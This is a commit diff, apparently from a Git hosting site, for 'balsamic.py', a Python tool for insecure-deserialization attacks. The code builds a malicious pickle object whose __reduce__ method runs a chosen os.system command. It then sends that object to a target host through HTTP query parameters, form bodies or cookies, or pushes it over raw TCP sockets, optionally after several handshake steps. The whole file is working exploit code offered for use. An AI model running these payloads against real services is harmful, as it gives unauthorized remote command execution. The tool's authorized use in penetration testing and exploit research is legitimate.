Update balsamic.py

main
witchdocsec 2024-05-23 23:00:37 +01:00 committed by GitHub
parent 27795c9177
commit 74fdd20c72
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 73 additions and 69 deletions

View File

@ -1,80 +1,84 @@
#imports
import pickle import pickle
import base64 import base64
import requests import requests
import socket import socket
import argparse
class utility: class Utility:
command="" command = ""
@staticmethod
def b64pickle(payload): def b64pickle(payload):
p=getattr(payloads,payload) p = getattr(Payloads, payload)
p=base64.b64encode(pickle.dumps(p())) return base64.b64encode(pickle.dumps(p()))
return p
def plainpickle(payload):
p=getattr(payloads,payload)
p=pickle.dumps(p)
return p
class payloads: @staticmethod
def urlpickle(payload):
p = getattr(Payloads, payload)
return base64.urlsafe_b64encode(pickle.dumps(p()))
@staticmethod
def plainpickle(payload):
p = getattr(Payloads, payload)
return pickle.dumps(p())
class Payloads:
class oscmd: class oscmd:
def __reduce__(self): def __reduce__(self):
import os import os
return (os.system, (utility.command,)) return (os.system, (Utility.command,))
def updatecmd(newcmd): def updatecmd(new_cmd):
utility.command=newcmd Utility.command = new_cmd
def webreq(schema,method,rhost,rport,payload,param=None,cook=None): def webreq(method, url, payload, param=None, cook=None, custom_headers=None):
methods=["get","post","put","patch"] methods = ["get", "post", "put", "patch"]
payload=utility.b64pickle(payload) headers = custom_headers or {}
payload=payload.decode("utf-8") payload = Utility.urlpickle(payload)
payload = payload.decode("utf-8")
if method in methods: if method in methods:
r=getattr(requests,method) request_method = getattr(requests, method)
if param: if param:
if method == "get": data = {param: payload} if method != "get" else {}
r(f"{schema}://{rhost}:{rport}/?{param}={payload}") response = request_method(
url,
params={param: payload} if method == "get" else None,
data=data,
cookies={cook: payload} if cook else None,
headers=headers
)
else: else:
data={param:payload} response = request_method(
r(f"{schema}://{rhost}:{rport}",data=data) url,
else: cookies={cook: payload} if cook else None,
cookie={cook:payload.decode("utf-8")} headers=headers
r(f"{schema}://{rhost}:{rport}",cookies=cookie) )
return f"firing webreq attack against {schema}://{rhost} " return f"Firing webreq attack against {url}"
def socksend(rhost,rport,payload, enc, steps=0): def socksend(rhost, rport, payload, enc, steps=0):
rport=int(rport) rport = int(rport)
steps=int(steps) steps = int(steps)
if enc: payload = Utility.b64pickle(payload) if enc else Utility.plainpickle(payload)
payload=utility.b64pickle(payload) with socket.socket(socket.AF_INET6, socket.SOCK_STREAM) as s:
else: s.connect((rhost, rport))
payload=utility.plainpickle(payload) for _ in range(steps):
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.sendall(b"arb")
s.connect((rhost,rport))
i=0
while i < steps:
s.sendall("arb".encode("utf-8"))
s.recv(1024) s.recv(1024)
i+=1
s.sendall(payload) s.sendall(payload)
s.close() s.close()
def socklisten(lport,payload, enc, steps=0):
lport=int(lport) def socklisten(lport, payload, enc, steps=0):
steps=int(steps) lport = int(lport)
if enc: steps = int(steps)
payload=utility.b64pickle(payload) payload = Utility.b64pickle(payload) if enc else Utility.plainpickle(payload)
else: with socket.socket(socket.AF_INET6, socket.SOCK_STREAM) as s:
payload=utility.plainpickle(payload) s.bind(('localhost', lport)) # Bind to localhost or a specific IP address
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.bind(("",lport))
s.listen(1) s.listen(1)
conn, addr = s.accept() conn, addr = s.accept()
i=0
with conn: with conn:
while i < steps: for _ in range(steps):
conn.sendall("arb".encode("utf-8")) conn.sendall(b"arb")
conn.recv(1024) conn.recv(1024)
i+=1
conn.sendall(payload) conn.sendall(payload)
conn.close() conn.close()